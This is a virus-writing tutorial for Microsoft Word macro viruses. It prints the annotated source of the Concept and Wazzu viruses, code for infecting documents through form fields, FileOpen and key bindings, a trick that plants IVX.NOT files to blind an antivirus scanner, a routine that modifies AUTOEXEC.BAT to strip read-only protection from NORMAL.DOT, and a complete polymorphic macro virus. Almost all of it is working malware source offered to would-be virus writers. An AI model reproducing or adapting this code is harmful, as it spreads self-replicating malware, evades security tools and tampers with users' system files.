Advanced Macro Virus Techniques Issue #1
by Alchemy

    If you want to send a comment or suggestion then post a message to
    alt.comp.virus, alt.comp.virus.source.code or to http://www.wcivr.com public
    message board. Or come to Undernet's #virus.
                  - Alchemy -

    We'll first take a look at Concept and Wazzu to learn the basics and learn
    some new techniques for using form fields and turning off read only NORMAL.DOT
    We'll also look at a not very well known technique, FileOpen.
    We'll look at true polymorphism for macro viruses.
    Also, some hints and tips.

    *****
    I.  Here's Concept:
    *****

    AutoOpen and AAAZAO:

    Sub MAIN
            On Error Goto Abort
            'If an error occurs, this bails out

            iMacroCount = CountMacros(0, 0)
            ' This counts the macros. The first 0 means the normal template and
            ' the second 0 means not to include
            ' built in commands. The second 0 could have been left out.
            ' This value is stored in iMacroCount where the i stands for integer.

            'see if we're already installed
            For i = 1 To iMacroCount
            ' This goes through each macro in the normal template.
                    If MacroName$(i, 0, 0) = "PayLoad" Then
                    ' If the macro being checked out has the name PayLoad, then
                    ' set bInstalled to -1, where b stands for boolean.
                    ' The i is the position, the 0 means the normal template, and
                    ' the second 0 means not to include internal commands.
                    ' The second 0 could have been left out.
                            bInstalled = - 1
                    End If
                    If MacroName$(i, 0, 0) = "FileSaveAs" Then
                    ' Same as before.
                            bTooMuchTrouble = - 1
                    End If
            Next I

            If Not bInstalled And Not bTooMuchTrouble Then
                    ' Runs the infection routine if it isn't already installed and
                    ' it isn't too much trouble.

                    'add FileSaveAs and copies of AutoOpen and FileSaveAs.
                    'PayLoad is just for fun.
                    iWW6IInstance = Val(GetDocumentVar$("WW6Infector"))
                    ' This is supposed to be a generation counter but it doesn't
                    ' work.
                    sMe$ = FileName$()
                    ' This gets the name of the File in sMe$ where the s stands
                    ' for string.
                    sMacro$ = sMe$ + ":Payload"
                    MacroCopy sMacro$, "Global:PayLoad"
                    ' Copies Payload to global
                    sMacro$ = sMe$ + ":AAAZFS"
                    MacroCopy sMacro$, "Global:FileSaveAs"
                    ' copies AAAZFS to Global:FileSaveAs
                    sMacro$ = sMe$ + ":AAAZFS"
                    MacroCopy sMacro$, "Global:AAAZFS"
                    ' copies AAAZFS to global
                    sMacro$ = sMe$ + ":AAAZAO"
                    MacroCopy sMacro$, "Global:AAAZAO"
                    ' copies AAAZAO to global AAAZAO

                    SetProfileString "WW6I", Str$(iWW6IInstance + 1)
                    ' This is also part of the generation counter which doesn't
                    ' work.

                    MsgBox Str$(iWW6IInstance + 1)
                    'This causes the message box with the 1 in it
            End If
    Abort:
    End Sub

    FileSaveAs and AAAZFS:
    Sub MAIN
    'this becomes the FileSaveAs for the global template
    Dim dlg As FileSaveAs
    ' Makes the variable dlg be able to save a FileSaveAs dialog
    On Error Goto bail
    ' Bails out if there's an error.
    GetCurValues dlg
    ' Get the current values of the FileSaveAs dialog
    Dialog dlg
    ' Displays the dialog
    If dlg.Format = 0 Then dlg.Format = 1
    ' If the user saved it as a word document, then save it as a template, which
    ' can contain macros.
    sMe$ = FileName$()
    ' Get the name of the file.
    sTMacro$ = sMe$ + ":AutoOpen"
    MacroCopy "Global:AAAZAO", sTMacro$
    sTMacro$ = sMe$ + ":AAAZAO"
    MacroCopy "Global:AAAZAO", sTMacro$
    sTMacro$ = sMe$ + ":AAAZFS"
    MacroCopy "Global:AAAZFS", sTMacro$
    sTMacro$ = sMe$ + ":PayLoad"
    MacroCopy "Global:PayLoad", sTMacro$
    ' Do the copying
    FileSaveAs dlg
    ' Do the actual saving
    Goto Done

    Bail:
    If Err <> 102 Then
            FileSaveAs dlg
    End If
    ' If the user didn't press cancel, then save the document even though it
    ' couldn't be infected.
    Done:
    End Sub

    Payload:
    Sub MAIN
            REM That's enough to prove my point
    End Sub
    ' Here's one of the strangest macros. What is its purpose?
    ' It's an infection marker but it's not necessary because Concept won't
    ' reinfect because of the FileSaveAs macro.
    ' What point is the author making?
    ' Perhaps it was a Microsoft employee trying to prove to his superiors that
    ' the Word Macro language was too powerful.
    ' Perhaps someone trying to prove that a virus can infect a "data file".
    ' Perhaps someone trying to show that a certain antivirus program can't detect
    ' all viruses.

    *****
    II. Here's Wazzu:
    *****

    Sub MAIN
            On Error Goto errCaught
            ' Bails out if an error
            FileSummaryInfo .Update
            ' Updates the FileSummaryInfo
            Dim dlg As FileSummaryInfo
            ' Prepares dlg for FileSummaryInfo
            GetCurValues dlg
            'Get the current values of the dialog.

            fileMacro$ = dlg.Directory + "\" + dlg.FileName + ":autoOpen"
            ' Adds the directory plus the filename plus the macro name
            globMacro$ = "Global:autoOpen"
            MacroFile$ = UCase$(Right$(MacroFileName$(MacroName$(0)), 10))
            ' MacroName$(0) returns the most current macro
            ' MacroFileName$ returns the file which contains it
            ' Right$ returns the last 10 letters. "NORMAL.DOT" is 10 letters long.
            ' Ucase$ converts it into uppercase

            If MacroFile$ = "NORMAL.DOT" Then
            ' If the macro that's running is in NORMAL.DOT, then it's time to
            ' infect the file being opened.
                    MacroCopy globMacro$, fileMacro$
                    FileSaveAs .Format = 1
            Else
                    MacroCopy fileMacro$, globMacro$
            ' Otherwise, infect NORMAL.DOT
            End If

    Goto bye
    errCaught:

    bye:
            On Error Goto 0
    ' Just junk. I cut out the payload because it isn't important.
    End Sub

    *****
    III. Here's how to use Form Fields:
    *****

    This is the first macro virus to use Form Fields except for Reflex, but:
    1. Only the AV have Reflex
    2. Reflex is too buggy to replicate

    Sub MAIN

    On Error Goto errcaught
    If UCase$(Right$(MacroFileName$(MacroName$(0)), 10)) = "NORMAL.DOT" Then
    ' See Wazzu
            For i = 1 To CountMacros(1)
                    If MacroName$(i, 1) = "A" Then installed = 1
            Next I
            ' See Concept
            If installed = 0 Then
                    MacroCopy "Global:AutoClose", WindowName$() + ":A"
                    ' WindowName$ acts like FileName$
                    FileSaveAs .Format = 1
                    InsertFormField .Entry = "A", .Exit = "", .Enable = 1,
                    .TextType = 0, .TextWidth = "0", .TextDefault = "",
                    .TextFormat = "", .Type = 0, .OwnHelp = 0, .HelpText = "",
                    .OwnStat = 0, .StatText = ""
                    ' This is one really long line.
                    ' Insert a form field and link it to the macro "A"
            End If
            ToolsProtectDocument .DocumentPassword = "", .NoReset = 0, .Type = 2
            ' Protect the document. Links to Form Fields don't work unless you
            ' protect the document.
    Else
            ToolsUnprotectDocument
            ' When an infected document is opened, it needs to be unprotected so
            ' the person can work on it.
            MacroCopy WindowName$() + ":A", "Global:AutoClose"
            ' It needs to be protected again when the document is closed, so we
            ' copy to AutoClose.
    End If
    errcaught:
    End Sub

    *****
    IV. Security holes
    *****

    1. Security hole in IVX.
    If a directory contains a file called IVX.NOT, the entire directory is
    skipped.
    See section VI for an example on how to use this.

    Sub AID(S$)
            iv$ = FileNameInfo$(S$, 5) + "IVX.NOT"
            Open iv$ For Output As #1
            Close #1
    End Sub

    2. Security hole that allows a virus to disable read-only.
    A virus can't turn off the read only attribute while it's running,
    so it needs to be done indirectly.

    Sub ANDROID
            nd$ = DefaultDir$(2)
            Open "C:\AUTOEXEC.BAT" For Input As #1
            While Not Eof(1)
                    Line Input #1, y$
                    If InStr(y$, nd$) <> 0 Then r = - 1
            Wend
            Close #1

            If Not r Then
                    nd$ = nd$ + "\NORMAL.DOT"
                    Open "C:\AUTOEXEC.BAT" For Append As #1
                    Print #1, "@ATTRIB -R " + ND$ + " > NUL"
                    Close #1
            End If
    End Sub

    See the polymorphic macro virus later on for an example of how to use them.

    *****
    V. How to use FileOpen
    *****

    Sub Main
    ' This macro is fairly self explanatory. Just check out wazzu or Concept if
    ' you're not sure about some command.
    Already = 0
    For j = 1 To CountMacros(0, 0)
            If MacroName$(j, 0, 0) = "FileOpen" Then Already = 1
    Next j
    If already = 0 Then MacroCopy FileName$() + ":FileOpen", "Global:FileOpen"
    Dim dlg As FileOpen
    GetCurValues dlg
    Dialog dlg
    FileOpen dlg
    Dim DlgFS As FileSaveAs
    GetCurValues DlgFS
    DlgFS.Format = 1
    Already = 0
    For j = 1 To CountMacros(1, 0)
            If MacroName$(j, 1, 0) = "FileOpen" Then Already = 1
    Next j
    If already = 0 Then MacroCopy "Global:FileOpen", FileName$() + ":FileOpen"
    FileSaveAs DlgFS
    End Sub

    *****
    VI. Polymorphism
    *****

    By using ToolsMacro .Edit, one can get full polymorphism.
    You can't edit a macro while it's running.

    -You could insert random strings or numbers.
    -You could change case.
    -You could use a different form of command depending on rnd().
    -You could use search and replace.
    -You could add a random amount of enters.

    Here's an example virus of these techniques.

    Sub MAIN
    On Error Goto Abort
    For i = 1 To CountMacros(0)
            If MacroName$(i, 0) = "FileSaveAs" Then b = - 1
    Next i
    If Not b Then
            DisableInput
            ToolsOptionsSave .GlobalDotPrompt = 0
            ScreenUpdating 0
            jqp$ = FileName$()
            MacroCopy jqp$ + ":AutoOpen", "Global:GGMZW"
            ToolsMacro .Name = "GGMZW", .Edit, .Show = 0
            EditReplace .Find = "GGMZW", .Replace = junk$(0), .Direction = 0,
            .MatchCase = 0, .WholeWord = 0, .PatternMatch = 0, .SoundsLike = 0,
            .ReplaceAll, .Format = 0, .Wrap = 1
            ' This is one long line
            EditReplace .Find = "jqp$", .Replace = junk$(1), .Direction = 0,
            .MatchCase = 0, .WholeWord = 0, .PatternMatch = 0, .SoundsLike = 0,
            .ReplaceAll, .Format = 0, .Wrap = 1
            ' This is one long line
            EditSelectAll
            FormatChangeCase .Type = Int(Rnd() * 5)
            StartOfDocument
            ParaDown Int(Rnd() * 50) + 1
            Insert "'1 Gen"
            InsertPara
            DocClose 1

            ToolsMacro .Name = "FileSaveAs", .Edit, .Show = 0
            StartOfLine
            LineUp 1
            pmorf(" on error goto abort ")
            LineDown 1
            pmorf(" dlg.format = 1 ")
            pmorf(" jqp$ = filename$ ( ) ")
            Insert "macrocopy " + Chr$(34) + "Global:GGMZW" + Chr$(34) +
            ",jqp$+" + Chr$(34) +      ":AutoOpen" + Chr$(34)
            'This is one long line
            InsertPara
            LineDown 1
            pmorf("abort: ")
            DocClose 1

            ANDROID
    End If
    AID(jqp$)
    Abort:
    End Sub

    Function junk$(yesno)
            For i = 1 To Int(Rnd() * 6) + 6
                    x$ = Chr$(Int(Rnd() * 26) + 97)
                    If Rnd() > 0.5 Then x$ = UCase$(x$)
                    bit$ = bit$ + x$
            Next i
            If yesno = 1 Then bit$ = bit$ + "$"
            junk$ = bit$
    End Function

    Sub AID(S$)
            iv$ = FileNameInfo$(S$, 5) + "IVX.NOT"
            Open iv$ For Output As #1
            Close #1
    End Sub

    Sub ANDROID
            nd$ = DefaultDir$(2)
            Open "C:\AUTOEXEC.BAT" For Input As #1
            While Not Eof(1)
                    Line Input #1, y$
                    If InStr(y$, nd$) <> 0 Then r = - 1
            Wend
            Close #1

            If Not r Then
                    nd$ = nd$ + "\NORMAL.DOT"
                    Open "C:\AUTOEXEC.BAT" For Append As #1
                    Print #1, "@ATTRIB -R " + ND$ + " > NUL"
                    Close #1
            End If
    End Sub

    Sub pmorf(t$)
            For i = 1 To Len(t$)
                    If Mid$(t$, i, 1) = " " Then
                            u$ = u$ + String$(Int(Rnd() * 5) + 1, " ")
                    Else
                            u$ = u$ + Mid$(t$, i, 1)
                    End If
            Next i
            u$ = u$ + "'" + junk$(0)
            Insert u$
            For i = 1 To Int(Rnd() * 5) + 1
                    InsertPara
            Next i
    End Sub

    *****
    VII. Something annoying
    *****
    Sometimes I see this:

    i=CountMacros(0,0)
    If i<>0 Then '*
            For j=1 To i
            If MacroName$(j,0,0) = ...
            Next J
            ...
    End If '*

    This is code to see if NORMAL.DOT is already infected.
    The probem is the lines marked with '*
    They're totally unnecessary. If to initial value of a for loop is false, then
    it's skipped, which is what you wanted.

    *****
    VIII. Helpful hint
    *****

    If you're trying to do something but can't figure out how, try the macro
    recorder and then examine the output. Or you could try the very good help
    file. It even comes with examples.

    *****
    IX. How to link a macro to a key.
    *****

    In this example, we link the macro "y" to the key Page Down.

    Sub MAIN
    On Error Goto errCaught
    f$ = FileName$() + ":y"
    g$ = "Global:y"
    If UCase$(Right$(MacroFileName$(MacroName$(0)), 10)) = "NORMAL.DOT" Then
            MacroCopy g$, f$
            ToolsCustomizeKeyboard .KeyCode = 34, .Category = 2, .Name = "y",
            .Add, .Context = 1
            'This is one long line
            '34 is the KeyCode for Page Down
            FileSaveAs .Format = 1
    Else
            MacroCopy f$, g$
            ToolsCustomizeKeyboard .KeyCode = 34, .Category = 2, .Name = "y",
            .Add, .Context = 0
            ' This is one long line
    End If
    errcaught:
    End Sub